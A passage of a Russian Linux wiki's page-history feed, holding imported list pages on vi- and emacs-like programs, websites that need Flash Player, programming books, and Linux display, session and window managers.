*[https://github.com/xLAva/JediAcademyLinux JediAcademyLinux] — ещё один движок для '''Jedi Knight III: Jedi Academy'''.&lt;br /&gt;
*[https://github.com/xythobuz/OpenRaider OpenRaider] — OpenGL‐движок для серии приключенческих игр '''Tomb Raider''' (1⁠—⁠5). 5‐я игра серии пока не полностью работоспособна.&lt;br /&gt;
*[https://sourceforge.net/projects/opentomb/ OpenTomb] — ещё один OpenGL‐движок для серии приключенческих игр '''Tomb Raider''' (1⁠—⁠5).&lt;br /&gt;
*[http://privateer.sourceforge.net/ Privateer - Gemini Gold] — OpenGL‐движок для '''Wing Commander''', основан на кодовой базе [http://vegastrike.sourceforge.net/ Vega Strike].&lt;br /&gt;
&lt;br /&gt;
[[Category:Игры]]&lt;br /&gt;
[[Категория:Списки]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC_%D1%81_vi-like_%D0%B8_emacs-like_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%D0%BE%D0%BC&amp;diff=365</id>
		<title>Список программ с vi-like и emacs-like интерфейсом</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC_%D1%81_vi-like_%D0%B8_emacs-like_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%D0%BE%D0%BC&amp;diff=365"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= vi-like =&lt;br /&gt;
&lt;br /&gt;
== Текстовые редакторы ==&lt;br /&gt;
* vi&lt;br /&gt;
* [https://github.com/martanne/vis vis] ([http://zenway.ru/page/vis обзор на zenway.ru])&lt;br /&gt;
* vim&lt;br /&gt;
* gvim — интерфейс на основе тулкита GTK для vim&lt;br /&gt;
* [https://bitbucket.org/equalsraf/vim-qt/wiki/Home vim-qt] — интерфейс на основе тулкита Qt для vim&lt;br /&gt;
&lt;br /&gt;
Следующие редакторы частично поддерживают vi-like управление:&lt;br /&gt;
* Kate&lt;br /&gt;
* Qt Creator&lt;br /&gt;
* [http://vrapper.sourceforge.net/home/ eclipse-vrapper] — плагин для IDE Eclipse.&lt;br /&gt;
&lt;br /&gt;
== Файловые менеджеры ==&lt;br /&gt;
* [http://vifm.sourceforge.net/ vifm] — консольный файловый менеджер, написанный на ncurses&lt;br /&gt;
* [http://ranger.nongnu.org/ ranger] — консольный файловый менеджер, написанный на Python и curses.&lt;br /&gt;
&lt;br /&gt;
== Браузеры ==&lt;br /&gt;
=== Webkit ===&lt;br /&gt;
* [http://uzbl.org/ uzbl] — браузер на WebKitGTK+&lt;br /&gt;
* [http://portix.bitbucket.org/dwb/ dwb] — браузер на WebKitGTK+&lt;br /&gt;
* [http://mason-larobina.github.com/luakit/ luakit] — браузер на WebKitGTK+, расширяемый с помощью Lua&lt;br /&gt;
* [https://opensource.conformal.com/wiki/xombrero xombrero] — браузер на WebKitGTK+&lt;br /&gt;
* [http://cream-browser.net/ cream-browser] — браузер на GTK3 с поддержкой вкладок и тайлов&lt;br /&gt;
* [https://github.com/The-Compiler/qutebrowser qutebrowser] — браузер на QtWebkit&lt;br /&gt;
=== XUL ===&lt;br /&gt;
Следующие расширения Firefox реализуют vi-like интерфейс:&lt;br /&gt;
* vimperator&lt;br /&gt;
* pentadactyl&lt;br /&gt;
* VimFx&lt;br /&gt;
* vimium&lt;br /&gt;
* keysnail&lt;br /&gt;
=== Chromium ===&lt;br /&gt;
Следующие расширения Chromium реализуют vi-like интерфейс:&lt;br /&gt;
* Vimium&lt;br /&gt;
* cVim&lt;br /&gt;
* Vichrome&lt;br /&gt;
== Просмотрщики ==&lt;br /&gt;
* [http://pwmt.org/projects/zathura/ zathura] — просмотрщик PDF, Djvu, PS на GTK;&lt;br /&gt;
* apvlv — просмотрщик PDF, Djvu на GTK;&lt;br /&gt;
* pim — просмотрщик изображений, написанный на Python.&lt;br /&gt;
&lt;br /&gt;
== Мультимедиа ==&lt;br /&gt;
* [http://cmus.sourceforge.net/ cmus] — консольный аудиоплеер;&lt;br /&gt;
* [http://sourceforge.net/projects/vimpc/ vimpc] — консольный клиент MPD на ncurses;&lt;br /&gt;
* [http://vitunes.org/ vitunes] — консольный аудиоплеер на curses.&lt;br /&gt;
&lt;br /&gt;
= emacs-like =&lt;br /&gt;
== Текстовые редакторы ==&lt;br /&gt;
* emacs&lt;br /&gt;
* [http://bellard.org/qemacs/ qemacs] — подобный emacs текстовый редактор, написан на C;&lt;br /&gt;
* [https://github.com/nsf/godit godit] — «православный» текстовый редактор, написанный на Go;&lt;br /&gt;
* [https://man.openbsd.org/mg mg(1)] — легкий подобный emacs текстовый редактор от проекта [[OpenBSD]].&lt;br /&gt;
&lt;br /&gt;
== Браузеры ==&lt;br /&gt;
=== XUL ===&lt;br /&gt;
* [http://conkeror.org/ conkeror] — браузер на XULrunner;&lt;br /&gt;
* firemacs — плагин для Firefox.&lt;br /&gt;
&lt;br /&gt;
[[Категория:Списки]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D0%BE%D0%B7%D0%BE%D1%80%D0%B0_Flash_Player&amp;diff=363</id>
		<title>Список позора Flash Player</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D0%BE%D0%B7%D0%BE%D1%80%D0%B0_Flash_Player&amp;diff=363"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;На этой странице перечислены веб-сайты, полноценное использование которых невозможно без Flash Player или требует дополнительных нетривиальных действий. Позор таким разработчикам!&lt;br /&gt;
&lt;br /&gt;
'''ВНИМАНИЕ!'''&lt;br /&gt;
Перед внесением веб-сайтов в список удостоверьтесь, что ваш браузер поддерживает воспроизведение необходимых форматов аудио и видео (большинству сайтов нужна поддержка MP3 для аудио и H.264 для видео).&lt;br /&gt;
Поддержку аудиоформатов можно проверить [http://hpr.dogphilosophy.net/test/index.php тут], поддержку видеоформатов можно проверить [http://www.quirksmode.org/html5/tests/video.html#link2 тут], поддержку MSE можно проверить [https://www.youtube.com/html5 тут] (если не работает, про включение поддержки MSE можно почитать [http://www.linuxveda.com/2015/04/02/enable-mse-native-html5-support-firefox-linux/ тут]).&lt;br /&gt;
Также удостоверьтесь, что у вас установлена последняя версия Mozilla Firefox и установлен пакет gstreamer1.0-libav (без него не будет поддержки MP3 и H.264).&lt;br /&gt;
&lt;br /&gt;
==Чёрный список==&lt;br /&gt;
&lt;br /&gt;
Основные функции сайта не работают без установленного флеш-плагина.&lt;br /&gt;
=== Видео ===&lt;br /&gt;
* [http://www.nicovideo.jp/ NicoNico]&lt;br /&gt;
* [http://kinogo.co kinogo.co]&lt;br /&gt;
* [http://southpark.cc.com southpark.cc.com]&lt;br /&gt;
&lt;br /&gt;
=== Стримы ===&lt;br /&gt;
* [http://stream.1tv.ru/live/ Первый канал Live]&lt;br /&gt;
* [http://sportbox.ru/ Sportbox]&lt;br /&gt;
* [http://webtv.un.org/ Трансляция заседаний ООН]&lt;br /&gt;
&lt;br /&gt;
=== Чаты ===&lt;br /&gt;
* [http://chatroulette.com/ Chatroulette]&amp;lt;ref&amp;gt;Есть много альтернатив на WebRTC, но там везде&amp;lt;sup&amp;gt;[пруф?]&amp;lt;/sup&amp;gt; сидят по 3,5 человека.&amp;lt;/ref&amp;gt;&lt;br /&gt;
* [http://tinychat.com tinychat.com]&lt;br /&gt;
* [http://www.omegle.com/ Omegle]&lt;br /&gt;
&lt;br /&gt;
=== Игры ===&lt;br /&gt;
&lt;br /&gt;
* [http://heroeswm.ru HeroesWM]&lt;br /&gt;
* [http://dwar.ru dwar.ru]&lt;br /&gt;
* [http://games.mail.ru/play/mini/ Игры Mail.Ru]&lt;br /&gt;
* [http://xoxokids.com xoxokids.com]&lt;br /&gt;
* [http://mlgame.ru mlgame.ru]&lt;br /&gt;
* [http://transformice.com transformice.com]&lt;br /&gt;
&lt;br /&gt;
=== Хостинги файлов и изображений ===&lt;br /&gt;
* [http://1nya.ru/ 1nya.ru]&lt;br /&gt;
* [http://www.filedropper.com/ filedropper.com]&lt;br /&gt;
* [http://vocaroo.com/ Vocaroo]&amp;lt;ref&amp;gt;Аплоадер работает нормально, а рекордер требует установить плагин.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Сайты для взрослых===&lt;br /&gt;
* [http://redporn.net/ redporn.net]&lt;br /&gt;
&lt;br /&gt;
===Стримы для взрослых===&lt;br /&gt;
* [http://jasmin.com Livejasmin]&lt;br /&gt;
* [http://cam4.com/ cam4.com]&lt;br /&gt;
&lt;br /&gt;
=== Каталоги Flash-роликов ===&lt;br /&gt;
* [http://z0r.de/ z0r.de]&lt;br /&gt;
* [http://swfchan.com/ swfchan.com]&lt;br /&gt;
&lt;br /&gt;
=== Научно-популярное ===&lt;br /&gt;
* [https://www.purdue.edu/impactearth Impact: Earth]&lt;br /&gt;
&lt;br /&gt;
=== Графика и рисование ===&lt;br /&gt;
* [http://flockdraw.com FlockDraw]&lt;br /&gt;
* [http://flockmod.com Flockmod]&lt;br /&gt;
* [https://pixlr.com/editor/ Pixlr.com]&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
==Серый список==&lt;br /&gt;
&lt;br /&gt;
Сюда вносятся сайты, для использования которых флеш-плагин не нужен, но без него не будут работать функции, указанные в скобках.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Белый список==&lt;br /&gt;
&lt;br /&gt;
Вопреки распространённому мнению, для использования веб-сайтов из списка флеш-плагин не нужен.&lt;br /&gt;
&lt;br /&gt;
* [http://vk.com/ ВКонтакте]&lt;br /&gt;
* [https://www.youtube.com/ YouTube]&lt;br /&gt;
* [https://moevideo.net/ MoeVideo]&lt;br /&gt;
* [http://www.xvideos.com/ XVIDEOS.COM]&lt;br /&gt;
* [http://coub.com/ Coub]&lt;br /&gt;
* [https://vimeo.com/ Vimeo]&lt;br /&gt;
* [http://pleer.com/ ПростоПлеер]&lt;br /&gt;
* [http://www.twitch.tv/ Twitch]&lt;br /&gt;
&lt;br /&gt;
Почти любой видеохостинг с достаточно новой версией JW Player, Uppod, Flowplayer (95% всех видеохостингов). Встраивание на другие сайты видеоплееров YouTube и VK тоже прекрасно работает, порнотьюбы работают, аудиоплееры работают.&lt;br /&gt;
&lt;br /&gt;
==Примечания==&lt;br /&gt;
[[Категория:Списки]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BB%D0%B8%D1%82%D0%B5%D1%80%D0%B0%D1%82%D1%83%D1%80%D1%8B&amp;diff=361</id>
		<title>Список литературы</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BB%D0%B8%D1%82%D0%B5%D1%80%D0%B0%D1%82%D1%83%D1%80%D1%8B&amp;diff=361"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общая литература =&lt;br /&gt;
&lt;br /&gt;
* Ален И. Голуб. Веревка достаточной длинны, чтобы… выстрелить себе в ногу. Правила программирования на Си и Си++.&lt;br /&gt;
&lt;br /&gt;
* «Amy Brown, Greg Wilson. The Architecture of Open Source Applications» — разбор на реальных примерах, как оно все спроектировано и устроено.&lt;br /&gt;
&lt;br /&gt;
* Is Parallel Programming Hard, And, If So, What Can You Do About It?&lt;br /&gt;
&lt;br /&gt;
= Bash =&lt;br /&gt;
&lt;br /&gt;
* «William E. Shotts, Jr. The Linux Command Line» — хорошее пособие для новичков. От ls до скриптов.&lt;br /&gt;
&lt;br /&gt;
= С =&lt;br /&gt;
&lt;br /&gt;
* «K&amp;amp;R» aka «White book» aka «Брайан Керниган. Деннис Ритчи. Язык программирования С» — классический справочный учебник. Опасайтесь старых изданий, там описано состояние языка задолго до введения стандарта ANSI. Последние издания на русском: второе (2009, Вильямс) и третье (2001, Невский Диалект). В связи с выходом стандарта C99 может быть слегка устаревшим, но в качестве первого знакомства советуют все.&lt;br /&gt;
&lt;br /&gt;
* «Ben Klemens. 21st Century C» — книга для тех, кто уже прочитал K&amp;amp;R, но еще не знает, что делать дальше. Солянка из рецептов: как использовать дебаггер, как писать простые мейкфайлы для сборки программ, описание разных полезных библиотек. Читать всем, кому стала тесна стандартная библиотека С.&lt;br /&gt;
&lt;br /&gt;
* «Андрей Богатырев. Руководство полного идиота по программированию (на языке Си)» — название говорит само за себя. Понятия «переменная» и «цикл» объясняются буквально на пальцах.&lt;br /&gt;
&lt;br /&gt;
* «C Pocket Reference» издательства O´Reilly — карманный справочник. Не раз выручал.&lt;br /&gt;
&lt;br /&gt;
* «С Traps and Pitfalls» — обширная коллекция грабель для наступания.&lt;br /&gt;
&lt;br /&gt;
* «Object-Oriented Programming With ANSI-C» — для тех, кому нужно.&lt;br /&gt;
&lt;br /&gt;
* Стандарт языка ISO/IEC 9899:2011 aka С11 — практически ничем не отличающийся черновик доступен бесплатно. Нужен только понимающим жуткие выверты на английском для обсуждения тонкостей.&lt;br /&gt;
&lt;br /&gt;
* Peter van der Linden. Expert C Programming: Deep C Secrets.&lt;br /&gt;
&lt;br /&gt;
* «Дейтел П. Дж. Дейтел Х. М. Как программировать на С» — послужит неплохим руководством для программирования на С с нуля. (?)&lt;br /&gt;
&lt;br /&gt;
=C++=&lt;br /&gt;
&lt;br /&gt;
* «С++ для чайников» — для первого знакомства сойдет. C++14 нет.&lt;br /&gt;
&lt;br /&gt;
* «Frank B. Brokken. C++ Annotations» — для уже знающих С.&lt;br /&gt;
&lt;br /&gt;
* «Kyle Loudon. C++ Pocket Reference» издательства O´Reilly.&lt;br /&gt;
&lt;br /&gt;
=Python=&lt;br /&gt;
&lt;br /&gt;
* Think Python.&lt;br /&gt;
&lt;br /&gt;
* «Dive Into Python» + «Dive Into Python 3».&lt;br /&gt;
&lt;br /&gt;
* «A Byte of Python».&lt;br /&gt;
&lt;br /&gt;
* «В. Россум. Язык программирования Python» — труд от создателя языка. Книга очень толстая, скучная и перевод устарел. Подходит скорее в качестве справочника.&lt;br /&gt;
&lt;br /&gt;
* «Learning Python» издательства O´Reilly.&lt;br /&gt;
&lt;br /&gt;
=Haskell=&lt;br /&gt;
&lt;br /&gt;
* «Learn You a Haskell for Great Good!» — с картинками. Настольная книга любого хаскеллиста.&lt;br /&gt;
* «Real World Haskell» издательства O´Reilly — настольная книга хаскеллиста номер два. Есть мнение, что она слегка устарела и отдельные места больше не соответствуют стандарту.&lt;br /&gt;
=SQL=&lt;br /&gt;
* [https://postgrespro.ru/docs/postgresql/10/ Перевод официальной документаци PostgreSQL]&lt;br /&gt;
=LaTeX=&lt;br /&gt;
&lt;br /&gt;
* «Компьютерная типография LaTeX», Е. М. Балдин — книга уважаемого обитателя ЛОРа. https://www.linux.org.ru/people/Evgueni/profile&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_DM,_WM_%D0%B8_%D0%BF%D1%80%D0%BE%D1%87%D0%B8%D1%85_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_%D1%80%D0%B0%D0%B1%D0%BE%D1%87%D0%B5%D0%B3%D0%BE_%D0%BE%D0%BA%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F&amp;diff=359</id>
		<title>Список DM, WM и прочих компонентов рабочего окружения</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_DM,_WM_%D0%B8_%D0%BF%D1%80%D0%BE%D1%87%D0%B8%D1%85_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_%D1%80%D0%B0%D0%B1%D0%BE%D1%87%D0%B5%D0%B3%D0%BE_%D0%BE%D0%BA%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F&amp;diff=359"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[ToDo]:&lt;br /&gt;
&lt;br /&gt;
1. Запилить статью-дерево со всеми WM/менеджерами сессий/файловыми менеджерами/etc.  Для того, чтобы можно было легко сконструировать систему по вкусу.&lt;br /&gt;
&lt;br /&gt;
'''Тем, кто читает:''' поправьте меня, где я не прав.&lt;br /&gt;
Размеры смотрю через synaptic, без зависимостей.&lt;br /&gt;
&lt;br /&gt;
= Менеджер входа =&lt;br /&gt;
&lt;br /&gt;
Менеджер входа позволяет войти в систему, запустив x-сессию с настройками требуемого пользователя.&lt;br /&gt;
&lt;br /&gt;
А можно обходиться и без менеджера входа, совершив следующие действия:&lt;br /&gt;
# Залогиниться необходимым пользователем.&lt;br /&gt;
# Запустить X-сервер командой startx.&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
!Название&lt;br /&gt;
!Размер&lt;br /&gt;
!Пакет&lt;br /&gt;
!Скриншот&lt;br /&gt;
!Описание&lt;br /&gt;
|-&lt;br /&gt;
!Qingy&lt;br /&gt;
|~300KB&lt;br /&gt;
|qingy&lt;br /&gt;
|[http://qingy.sourceforge.net/images/start.jpg]&lt;br /&gt;
|Заменяет стандартный менеждер входа getty. Может показывать красивую картинку через DirectFB, может не показывать. Есть автологин и выбор сессий. Прекрасный выбор для действительно легковесного окружения.&lt;br /&gt;
|-&lt;br /&gt;
!X Window Display Manager&lt;br /&gt;
|~200 кб&lt;br /&gt;
|xdm&lt;br /&gt;
|[http://upload.wikimedia.org/wikipedia/commons/e/ec/Xdm_Screenshot.png]&lt;br /&gt;
|Входит в состав x window system.&lt;br /&gt;
|-&lt;br /&gt;
!GNOME Display Manager&lt;br /&gt;
|~7 мб&lt;br /&gt;
|gdm&lt;br /&gt;
|[http://upload.wikimedia.org/wikipedia/commons/2/27/Ubuntu_8.04_login_screen.png]&lt;br /&gt;
|Используется в GNOME-based дистрибутивах, может устанавливаться отдельно.&lt;br /&gt;
|-&lt;br /&gt;
!KDE Display Manager&lt;br /&gt;
|~2 мб&lt;br /&gt;
|kdm&lt;br /&gt;
|[http://upload.wikimedia.org/wikipedia/commons/1/10/Kubuntu_8.04_login_screen.png]&lt;br /&gt;
|Используется в KDE-based дистрибутивах, может устанавливаться отдельно.&lt;br /&gt;
|-&lt;br /&gt;
!Light Display Manager&lt;br /&gt;
|~100 кб&lt;br /&gt;
|lightdm&lt;br /&gt;
|[http://upload.wikimedia.org/wikipedia/commons/thumb/7/7e/Lightdm-screenshot.jpg/800px-Lightdm-screenshot.jpg]&lt;br /&gt;
|Обладает всеми возможностями gdm, имеет меньший размер. Сегодня используется в ubuntu/xubuntu.&lt;br /&gt;
|-&lt;br /&gt;
!SLiM — Simple Login Manager&lt;br /&gt;
|~350 кб&lt;br /&gt;
|slim&lt;br /&gt;
|[http://upload.wikimedia.org/wikipedia/commons/thumb/9/90/Slim01.jpg/750px-Slim01.jpg]&lt;br /&gt;
|SLIM является простым, легко настраиваемым и может использоваться на системах с высокой и низкой производительностью. SLIM также очень удобен для тех, кто хочет менеджер входа без зависимостей от графического окружения Gnome или KDE, что делает его идеальным для пользователей, работающих с Xfce, Openbox, Fluxbox и т.д. По сути является не десктопным менеджером, как GDM и KDM, а именно утилитой для логина, так как работает не с сессиям десктопных оболочек (например gnome-session), а с файлом '''~/.xinitrc'''.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Менеджеры сессий =&lt;br /&gt;
&lt;br /&gt;
Менеджер окон X Window System — приложение, работающее «поверх» X Window System и определяющее интерфейс и взаимодействие с пользователем. В Unix-подобных операционных системах пользователь может выбрать любой оконный менеджер по своему усмотрению.&lt;br /&gt;
&lt;br /&gt;
Менеджеры окон могут отличаться по таким показателям, как:&lt;br /&gt;
  &lt;br /&gt;
* Возможности настройки внешнего вида и функциональности.&lt;br /&gt;
* Способы запуска различных приложений;&lt;br /&gt;
* Средства настройки и управления окружением;&lt;br /&gt;
* Наличие и взаимодействие с несколькими рабочими или виртуальными столами.&lt;br /&gt;
* Потребление оперативной памяти и прочих ресурсов компьютера.&lt;br /&gt;
* Степень интеграции со средой рабочего стола, предоставляющим более полный набор средств для взаимодействия с операционной средой и различными пользовательскими приложениями.&lt;br /&gt;
&lt;br /&gt;
== GNOME 3 Session manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~100 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: gnome-session&amp;lt;br /&amp;gt;&lt;br /&gt;
Примечание: Требует 3D-ускорение для корректной работы.&lt;br /&gt;
&lt;br /&gt;
== Xfce4 Session Manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~1.5 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: xfce4-session&lt;br /&gt;
&lt;br /&gt;
== LXDE Session Manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~50 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: lxsession&lt;br /&gt;
&lt;br /&gt;
== Razor Session Manager ==&lt;br /&gt;
&lt;br /&gt;
Описание: менеджер сессий для оболочки [http://razor-qt.org/ Razor-Qt], которая в свою очередь является форком заброшенной оболочки Antico. Также стоит заметить, что оболочка Razor-Qt ещё не стабильна. Написано это всё, как видно из названия — на Qt.&lt;br /&gt;
&lt;br /&gt;
'''[TODO: Про кеды]'''&lt;br /&gt;
&lt;br /&gt;
= Менеджеры окон =&lt;br /&gt;
&lt;br /&gt;
Менеджеры окон делятся на стековые (например, Openbox), композитные (Compiz, KWin, Metacity) и тайловые, они же фреймовые (awesome, wmii). Некоторые тайловые могут работать в режиме стековых (awesome). Стековые управляют окнами в привычном нам режиме, композитные ещё и придают им разных эффектов и декораций (например прозрачность и куб рабочего стола), тайловые же разбивают рабочее пространство экрана на взаимно не пересекающиеся прямоугольные области — фреймы. Есть ещё динамические оконные менеджеры — они работают как тайловые, только там размещение фреймов предварительно настраивается (пример — Awesome). Также есть приложения, позволяющие добавить стековым менеджерам некоторый функции характерные для композитных (Xcompmgr).&lt;br /&gt;
&lt;br /&gt;
'''Наглядно разницу можно увидеть на скриншотах:'''&lt;br /&gt;
&lt;br /&gt;
'''Стековые'''&lt;br /&gt;
*[http://upload.wikimedia.org/wikipedia/commons/thumb/f/f7/2010-04-24-133031_1280x800_scrot.png/800px-2010-04-24-133031_1280x800_scrot.png Openbox]&lt;br /&gt;
'''Композитные'''&lt;br /&gt;
*[http://upload.wikimedia.org/wikipedia/commons/thumb/c/cb/Fedora-Core-6-AIGLX.png/800px-Fedora-Core-6-AIGLX.png Compiz]&lt;br /&gt;
*[http://upload.wikimedia.org/wikipedia/commons/thumb/7/76/Kwin-cube.jpg/800px-Kwin-cube.jpg KWin]&lt;br /&gt;
'''Тайловые'''&lt;br /&gt;
*[http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Awesome_screenshot.png/750px-Awesome_screenshot.png awesome]&lt;br /&gt;
*[http://upload.wikimedia.org/wikipedia/commons/c/cb/Wmii-3.6_screenshot.png wmii]&lt;br /&gt;
&lt;br /&gt;
== AfterStep ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~400 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: afterstep&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/6/68/AfterStep.png/750px-AfterStep.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: редактирования текстовых файлов конфигурации.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: в разработке, но очень медленной. [fixme]&lt;br /&gt;
&lt;br /&gt;
== Awesome ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~850 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: awesome&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Awesome_screenshot.png/750px-Awesome_screenshot.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: один конфигурационный файл (на Lua).&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: возможность переключения.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Blackbox ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~250 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: blackbox&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/3/30/Blackbox_on_Debian.png/750px-Blackbox_on_Debian.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: редактирования текстовых файлов конфигурации.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Claude`s tab Window Manager (CTWM) ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~500 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: ctwm&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/ru/thumb/6/60/Ctwm-clearblue.jpg/800px-Ctwm-clearblue.jpg&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: с помощью тем (набор скриптов и изображений xpm)&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: устарел.&lt;br /&gt;
&lt;br /&gt;
== Compiz ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~25 кб. (много зависимостей)&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: compiz&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/c/cb/Fedora-Core-6-AIGLX.png/800px-Fedora-Core-6-AIGLX.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: графический конфигуратор.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Dynamical Window Manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~40 кб&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: dwm&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/b/b0/Dwm-shot.png/800px-Dwm-shot.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: правка исходных кодов и перекомпиляция.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: да.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Enlightenment ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~3 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: e17&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/ru/thumb/b/ba/Eshot-1680x1050.png/800px-Eshot-1680x1050.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: GUI&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: неполная (плагином).&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: в разработке (нестабильный). [fixme: или уже стабильный?]&lt;br /&gt;
&lt;br /&gt;
== Fluxbox ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~1.5 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: fluxbox&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/b/b1/Flux.jpg/800px-Flux.jpg&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: редактирования текстовых файлов конфигурации, или [http://devaux.fabien.free.fr/flux/ fluxconf].&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== F Virtual Window Manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~4 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: fvwm&amp;lt;br /&amp;gt;&lt;br /&gt;
